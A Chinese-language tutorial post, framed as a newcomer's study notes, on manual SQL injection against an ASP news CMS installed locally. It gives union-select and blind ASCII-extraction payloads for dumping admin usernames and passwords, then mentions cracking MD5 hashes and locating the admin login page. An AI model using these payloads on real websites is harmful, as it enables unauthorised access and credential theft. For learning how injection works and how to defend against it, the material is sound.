sql手工注入有兩種,第一種是union聯合查詢,第二種是Ascii逐字解碼法

union聯合查詢語句如下:

首先判斷一個網站有沒有注入點的語句是  加單引號 ' 或 and 1=1 和and 1=2
and 1=1 網站返回正常,and 1=2 網站返回錯誤,證明有可能存在注入點
order by語句來查詢資料庫中存在多少資料表,如果order by 11返回正常 12 返回錯誤 那麼資料表就是11
得到資料表的個數後，接著來用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,11 from 表名 (如admin) 如果

返回的網站頁面是一個一個的數字如下圖

那麼就說明存在admin這個表，如果出現錯誤就說明不存在admin表(也有可能是你語句輸錯了 認真點哦)，就需要換表名了，說是猜，就是猜，慢慢猜了~，接著 看到了圖中我用紅色矩形框，框住的數字，它所對應的就是 3 4 8 10 在1,2,3,4,5,6,7,8,9,10,11 裡面把  3  4 8 10 替換成admin表裡儲存網站管理員賬號和密碼的欄位，如user  ，pwd  替換後就變成了 這樣的 語句  and 1=2 union select 1,2,3,4,5,6,7,user,9,pwd,11 from admin 如下圖所示

之前的8 和10 都被替換成了admin admin 是因為這個網站後臺的使用者名稱和密碼預設的就是admin，這樣管理員的帳戶和密碼就被我們爆了出來。 有時候密碼會是md5加密的需要去一些md5的網站解密，也有時候是雷池加密，雷池加密的很像明文，如果你登入一個後臺半天都上不去，說明這個密碼就有可能是雷池加密的哦

還有說一句，手工注入之前要先找到後臺，不然很累很累的弄完了，發現找不到後臺。會很失望的！

union聯合查詢的方法就介紹到這 下面介紹一種比較複雜的sql手工注入

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第一步-猜表名

and (select count(*) from 表名) >=0

栗子 and (select count(*) from admin) >=0 網頁返回正常 說明存在admin這個表，返回不正常，你懂的~接著猜

第二步-猜欄位

and (select count(欄位名) from 上行語句猜到的表名)>=0

栗子 and (select count (user) from admin ) >=0 網頁返回正常  說明存在user這個欄位，返回不正常 ~~~~~~接著猜

第三步-猜欄位的位數

and (select top 1 len (欄位) from 表名) >0

栗子 and (select top 1 len (user) from admin) >4 返回正常 >5 返回錯誤，想想 一個數字大於4小於5是什麼？沒錯就是5！ 比如栗子中的這個網站，user欄位的內容就是admin

數一數是不是5位呢？

第四步 猜Ascii碼的欄位值(不懂Ascii碼的可以百度，瞭解一些就可以了)

and (select top 1 asc (mid (欄位,位數,1)) from 表名) >ascii（1~128）

栗子 and (select top 1asc (mid (user,1,1)) from admin) >96 返回正常 97返回錯誤 那麼這個user表裡面的第一個ascii碼就是97了 ascii碼對應的就是字母a

user欄位裡面的第一位已經被猜出來了 是a 對應的ascii碼是97

接著猜第二位

and (select top 1asc (mid (user,2,1)) from admin) >99 返回正常 100返回錯誤 ascii碼為100

100對應的是字母d

接著猜第三位

and (select top 1asc (mid (user,3,1)) from admin) >108 返回正常 109 返回錯誤 ascii碼為109

109對應的是字母m

接著猜第四位

and (select top 1asc (mid (user,4,1)) from admin) >104 返回正常 105返回錯誤 ascii碼是105

105對應的是字母i

接著猜第五位

and (select top 1asc (mid (user,5,1)) from admin) >109 返回正常 110返回錯誤 ascii碼為110

110對應的是字母n

---------------------------------

Ascii:97 100 109 105 110

對應的字母:  a     d       m      i     n

------------------------------------------------

user欄位猜完了開始猜pwd欄位也就是網站後臺的密碼

and (select top 1 asc (mid (pwd,1,1)) from admn) >ascii（1——128）

和猜user欄位裡的內容是一樣的，把欄位替換成pwd ，然後在猜的時候替換要猜解的位數，和ascii碼，關於ascii碼，猜的時候是有一些技巧的，我也不太明白，是憑感覺的縮小猜解的範圍.

以上就是我讀sql手工注入語句的學習筆記，和經驗

我在此文章中使用的網站源程式是:

三峽新聞線上系統V1.1 附上百度雲盤連結:http://pan.baidu.com/s/1qWNwFvA

asp環境是小旋風asp伺服器 : 這個可以百度下載，百度雲分享不了說有病毒。。。

瀏覽器是火狐瀏覽器，裡面的有個外掛叫做hackbar很不錯，特別是用來手工注入的時候，大家有的人在瀏覽器的url裡面直接注入 url裡會產生一堆轉義符號 影響了注入的效率

然後關於sql注入的知識，如果我寫的有不足的，和不好的，歡迎大家來吐槽。O(∩_∩)O 我也是一個新手，也在不斷的努力。技術的高低只是時間的問題、沒有什麼可以鄙視的！加油！